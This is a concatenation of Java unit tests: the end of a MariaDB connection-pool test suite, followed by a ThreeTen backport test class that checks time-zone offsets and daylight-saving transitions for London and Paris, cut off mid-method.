System.out.println("Connection id : " + integer); numberOfConnection++; } System.out.println("Size : " + threadIds.size() + " " + numberOfConnection); assertTrue( "connection ids must be less than 8 : " + numberOfConnection, numberOfConnection <= 8); assertTrue(System.currentTimeMillis() - start < (sharedIsAurora() ? 120_000 : 5_000)); Pools.close("PoolTest"); } @Test public void ensureClosed() throws Throwable { Thread.sleep(500); // ensure that previous close are effective int initialConnection = getCurrentConnections(); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=10&minPoolSize=1")) { try (Connection connection = pool.getConnection()) { connection.isValid(10_000); } assertTrue(getCurrentConnections() > initialConnection); // reuse IdleConnection try (Connection connection = pool.getConnection()) { connection.isValid(10_000); } Thread.sleep(500); assertTrue(getCurrentConnections() > initialConnection); } Thread.sleep(2000); // ensure that previous close are effective assertEquals(initialConnection, getCurrentConnections()); } @Test public void wrongUrlHandling() throws SQLException { int initialConnection = getCurrentConnections(); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( "jdbc:mariadb://unknownHost/db?user=wrong&maxPoolSize=10&connectTimeout=500")) { pool.initialize(); long start = System.currentTimeMillis(); try (Connection connection = pool.getConnection()) { fail(); } catch (SQLException sqle) { assertTrue( "timeout does not correspond to option. Elapsed time:" + (System.currentTimeMillis() - start), (System.currentTimeMillis() - start) >= 500 && (System.currentTimeMillis() - start) < 700); assertTrue( sqle.getMessage() .contains( "No connection available within the specified time (option 'connectTimeout': 500 ms)")); } } } @Test public void testPrepareReset() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=1&useServerPrepStmts=true&useResetConnection")) { try (Connection connection = pool.getConnection()) { PreparedStatement preparedStatement = connection.prepareStatement("SELECT ?"); preparedStatement.setString(1, "1"); preparedStatement.execute(); } try (Connection connection = pool.getConnection()) { // must re-prepare PreparedStatement preparedStatement = connection.prepareStatement("SELECT ?"); preparedStatement.setString(1, "1"); preparedStatement.execute(); } } } }
package org.threeten.bp.zone; import static org.testng.Assert.assertEquals; import static org.testng.Assert.assertFalse; import static org.testng.Assert.assertNotNull; import static org.testng.Assert.assertNull; import static org.testng.Assert.assertTrue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Iterator; import java.util.List; import org.testng.annotations.Test; import org.threeten.bp.DayOfWeek; import org.threeten.bp.Duration; import org.threeten.bp.Instant; import org.threeten.bp.LocalDate; import org.threeten.bp.LocalDateTime; import org.threeten.bp.LocalTime; import org.threeten.bp.Month; import org.threeten.bp.Year; import org.threeten.bp.ZoneId; import org.threeten.bp.ZoneOffset; import org.threeten.bp.ZonedDateTime; import org.threeten.bp.zone.ZoneOffsetTransitionRule.TimeDefinition; /** * Test ZoneRules. */ @Test public class TestStandardZoneRules { private static final ZoneOffset OFFSET_ZERO = ZoneOffset.ofHours(0); private static final ZoneOffset OFFSET_PONE = ZoneOffset.ofHours(1); private static final ZoneOffset OFFSET_PTWO = ZoneOffset.ofHours(2); public static final String LATEST_TZDB = "2009b"; private static final int OVERLAP = 2; private static final int GAP = 0; // Basics public void test_serialization_loaded() throws Exception { assertSerialization(europeLondon()); assertSerialization(europeParis()); assertSerialization(americaNewYork()); } private void assertSerialization(ZoneRules test) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(test); baos.close(); byte[] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); ZoneRules result = (ZoneRules) in.readObject(); assertEquals(result, test); } // Etc/GMT private ZoneRules etcGmt() { return ZoneId.of("Etc/GMT").getRules(); } public void test_EtcGmt_nextTransition() { assertNull(etcGmt().nextTransition(Instant.EPOCH)); } public void test_EtcGmt_previousTransition() { assertNull(etcGmt().previousTransition(Instant.EPOCH)); } // Europe/London private ZoneRules europeLondon() { return ZoneId.of("Europe/London").getRules(); } public void test_London() { ZoneRules test = europeLondon(); assertEquals(test.isFixedOffset(), false); } public void test_London_preTimeZones() { ZoneRules test = europeLondon(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.ofHoursMinutesSeconds(0, -1, -15); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_London_getOffset() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 1, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 2, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 4, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 5, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 6, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 7, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 8, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 9, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 11, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 12, 1, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_London_getOffset_toDST() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 3, 24, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 25, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 26, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 31, ZoneOffset.UTC)), OFFSET_PONE); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 3, 30, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PONE); } public void test_London_getOffset_fromDST() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 10, 24, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 25, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 31, ZoneOffset.UTC)), OFFSET_ZERO); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 10, 26, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_London_getOffsetInfo() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 1, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 2, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 4, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 5, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 6, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 7, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 8, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 9, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 11, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 12, 1), OFFSET_ZERO, 1); } public void test_London_getOffsetInfo_toDST() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 3, 24), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 25), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 26), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 31), OFFSET_PONE, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 3, 30, 0, 59, 59, 999999999), OFFSET_ZERO, 1); checkOffset(test, LocalDateTime.of(2008, 3, 30, 2, 0, 0, 0), OFFSET_PONE, 1); } public void test_London_getOffsetInfo_fromDST() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 10, 24), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 25), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 26), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 31), OFFSET_ZERO, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 10, 26, 0, 59, 59, 999999999), OFFSET_PONE, 1); checkOffset(test, LocalDateTime.of(2008, 10, 26, 2, 0, 0, 0), OFFSET_ZERO, 1); } public void test_London_getOffsetInfo_gap() { ZoneRules test = europeLondon(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 30, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_ZERO, GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), OFFSET_ZERO); assertEquals(trans.getOffsetAfter(), OFFSET_PONE); assertEquals(trans.getInstant(), createInstant(2008, 3, 30, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 3, 30, 1, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 3, 30, 2, 0)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), false); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-30T01:00Z to +01:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_ZERO)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_London_getOffsetInfo_overlap() { ZoneRules test = europeLondon(); final LocalDateTime dateTime = LocalDateTime.of(2008, 10, 26, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PONE, OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), OFFSET_PONE); assertEquals(trans.getOffsetAfter(), OFFSET_ZERO); assertEquals(trans.getInstant(), createInstant(2008, 10, 26, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 10, 26, 2, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 10, 26, 1, 0)); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-1)), false); assertEquals(trans.isValidOffset(OFFSET_ZERO), true); assertEquals(trans.isValidOffset(OFFSET_PONE), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-10-26T02:00+01:00 to Z]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_PONE)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_London_getStandardOffset() { ZoneRules test = europeLondon(); ZonedDateTime zdt = createZDT(1840, 1, 1, ZoneOffset.UTC); while (zdt.getYear() < 2010) { Instant instant = zdt.toInstant(); if (zdt.getYear() < 1848) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutesSeconds(0, -1, -15)); } else if (zdt.getYear() >= 1969 && zdt.getYear() < 1972) { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } else { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } zdt = zdt.plusMonths(6); } } public void test_London_getTransitions() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(first.getDateTimeBefore(), LocalDateTime.of(1847, 12, 1, 0, 0)); assertEquals(first.getOffsetBefore(), ZoneOffset.ofHoursMinutesSeconds(0, -1, -15)); assertEquals(first.getOffsetAfter(), OFFSET_ZERO); ZoneOffsetTransition spring1916 = trans.get(1); assertEquals(spring1916.getDateTimeBefore(), LocalDateTime.of(1916, 5, 21, 2, 0)); assertEquals(spring1916.getOffsetBefore(), OFFSET_ZERO); assertEquals(spring1916.getOffsetAfter(), OFFSET_PONE); ZoneOffsetTransition autumn1916 = trans.get(2); assertEquals(autumn1916.getDateTimeBefore(), LocalDateTime.of(1916, 10, 1, 3, 0)); assertEquals(autumn1916.getOffsetBefore(), OFFSET_PONE); assertEquals(autumn1916.getOffsetAfter(), OFFSET_ZERO); ZoneOffsetTransition zot = null; Iterator<ZoneOffsetTransition> it = trans.iterator(); while (it.hasNext()) { zot = it.next(); if (zot.getDateTimeBefore().getYear() == 1990) { break; } } assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1990, 3, 25, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1990, 10, 28, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1991, 3, 31, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1991, 10, 27, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1992, 3, 29, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1992, 10, 25, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1993, 3, 28, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1993, 10, 24, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1994, 3, 27, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1994, 10, 23, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1995, 3, 26, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1995, 10, 22, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1996, 3, 31, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1996, 10, 27, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1997, 3, 30, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1997, 10, 26, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); assertEquals(it.hasNext(), false); } public void test_London_getTransitionRules() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); assertEquals(rules.size(), 2); ZoneOffsetTransitionRule in = rules.get(0); assertEquals(in.getMonth(), Month.MARCH); assertEquals(in.getDayOfMonthIndicator(), 25); // optimized from -1 assertEquals(in.getDayOfWeek(), DayOfWeek.SUNDAY); assertEquals(in.getLocalTime(), LocalTime.of(1, 0)); assertEquals(in.getTimeDefinition(), TimeDefinition.UTC); assertEquals(in.getStandardOffset(), OFFSET_ZERO); assertEquals(in.getOffsetBefore(), OFFSET_ZERO); assertEquals(in.getOffsetAfter(), OFFSET_PONE); ZoneOffsetTransitionRule out = rules.get(1); assertEquals(out.getMonth(), Month.OCTOBER); assertEquals(out.getDayOfMonthIndicator(), 25); // optimized from -1 assertEquals(out.getDayOfWeek(), DayOfWeek.SUNDAY); assertEquals(out.getLocalTime(), LocalTime.of(1, 0)); assertEquals(out.getTimeDefinition(), TimeDefinition.UTC); assertEquals(out.getStandardOffset(), OFFSET_ZERO); assertEquals(out.getOffsetBefore(), OFFSET_PONE); assertEquals(out.getOffsetAfter(), OFFSET_ZERO); } public void test_London_nextTransition_historic() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.nextTransition(first.getInstant().minusNanos(1)), first); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition cur = trans.get(i); ZoneOffsetTransition next = trans.get(i + 1); assertEquals(test.nextTransition(cur.getInstant()), next); assertEquals(test.nextTransition(next.getInstant().minusNanos(1)), next); } } public void test_London_nextTransition_rulesBased() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.nextTransition(last.getInstant()), rules.get(0).createTransition(1998)); for (int year = 1998; year < 2010; year++) { ZoneOffsetTransition a = rules.get(0).createTransition(year); ZoneOffsetTransition b = rules.get(1).createTransition(year); ZoneOffsetTransition c = rules.get(0).createTransition(year + 1); assertEquals(test.nextTransition(a.getInstant()), b); assertEquals(test.nextTransition(b.getInstant().minusNanos(1)), b); assertEquals(test.nextTransition(b.getInstant()), c); assertEquals(test.nextTransition(c.getInstant().minusNanos(1)), c); } } public void test_London_nextTransition_lastYear() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); ZoneOffsetTransition zot = rules.get(1).createTransition(Year.MAX_VALUE); assertEquals(test.nextTransition(zot.getInstant()), null); } public void test_London_previousTransition_historic() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.previousTransition(first.getInstant()), null); assertEquals(test.previousTransition(first.getInstant().minusNanos(1)), null); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition prev = trans.get(i); ZoneOffsetTransition cur = trans.get(i + 1); assertEquals(test.previousTransition(cur.getInstant()), prev); assertEquals(test.previousTransition(prev.getInstant().plusSeconds(1)), prev); assertEquals(test.previousTransition(prev.getInstant().plusNanos(1)), prev); } } public void test_London_previousTransition_rulesBased() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.previousTransition(last.getInstant().plusSeconds(1)), last); assertEquals(test.previousTransition(last.getInstant().plusNanos(1)), last); // Jan 1st of year between transitions and rules ZonedDateTime odt = ZonedDateTime.ofInstant(last.getInstant(), last.getOffsetAfter()); odt = odt.withDayOfYear(1).plusYears(1).with(LocalTime.MIDNIGHT); assertEquals(test.previousTransition(odt.toInstant()), last); // later years for (int year = 1998; year < 2010; year++) { ZoneOffsetTransition a = rules.get(0).createTransition(year); ZoneOffsetTransition b = rules.get(1).createTransition(year); ZoneOffsetTransition c = rules.get(0).createTransition(year + 1); assertEquals(test.previousTransition(c.getInstant()), b); assertEquals(test.previousTransition(b.getInstant().plusSeconds(1)), b); assertEquals(test.previousTransition(b.getInstant().plusNanos(1)), b); assertEquals(test.previousTransition(b.getInstant()), a); assertEquals(test.previousTransition(a.getInstant().plusSeconds(1)), a); assertEquals(test.previousTransition(a.getInstant().plusNanos(1)), a); } } // Europe/Paris private ZoneRules europeParis() { return ZoneId.of("Europe/Paris").getRules(); } public void test_Paris() { ZoneRules test = europeParis(); assertEquals(test.isFixedOffset(), false); } public void test_Paris_preTimeZones() { ZoneRules test = europeParis(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.ofHoursMinutesSeconds(0, 9, 21); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_Paris_getOffset() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 1, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 2, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 4, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 5, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 6, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 7, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 8, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 9, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 11, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 12, 1, ZoneOffset.UTC)), OFFSET_PONE); } public void test_Paris_getOffset_toDST() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 3, 24, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 25, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 26, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 27, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 28, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 29, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 30, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 31, ZoneOffset.UTC)), OFFSET_PTWO); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 3, 30, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 30, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PTWO); } public void test_Paris_getOffset_fromDST() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 10, 24, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 25, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 26, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 27, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 28, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 29, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 30, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 31, ZoneOffset.UTC)), OFFSET_PONE); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 10, 26, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 26, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PONE); } public void test_Paris_getOffsetInfo() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 1, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 2, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 4, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 5, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 6, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 7, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 8, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 9, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 11, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 12, 1), OFFSET_PONE, 1); } public void test_Paris_getOffsetInfo_toDST() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 3, 24), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 25), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 26), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 27), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 28), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 29), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 30), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 31), OFFSET_PTWO, 1); // cutover at 01:00Z which is 02:00+01:00(local Paris time) checkOffset(test, LocalDateTime.of(2008, 3, 30, 1, 59, 59, 999999999), OFFSET_PONE, 1); checkOffset(test, LocalDateTime.of(2008, 3, 30, 3, 0, 0, 0), OFFSET_PTWO, 1); } public void test_Paris_getOffsetInfo_fromDST() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 10, 24), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 25), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 26), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 27), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 28), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 29), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 30), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 31), OFFSET_PONE, 1); // cutover at 01:00Z which is 02:00+01:00(local Paris time) checkOffset(test, LocalDateTime.of(2008, 10, 26, 1, 59, 59, 999999999), OFFSET_PTWO, 1); checkOffset(test, LocalDateTime.of(2008, 10, 26, 3, 0, 0, 0), OFFSET_PONE, 1); } public void test_Paris_getOffsetInfo_gap() { ZoneRules test = europeParis(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 30, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PONE, GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), OFFSET_PONE); assertEquals(trans.getOffsetAfter(), OFFSET_PTWO); assertEquals(trans.getInstant(), createInstant(2008, 3, 30, 1, 0, ZoneOffset.UTC)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), false); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-30T02:00+01:00 to +02:00]"); assertFalse(trans.equals(null)); 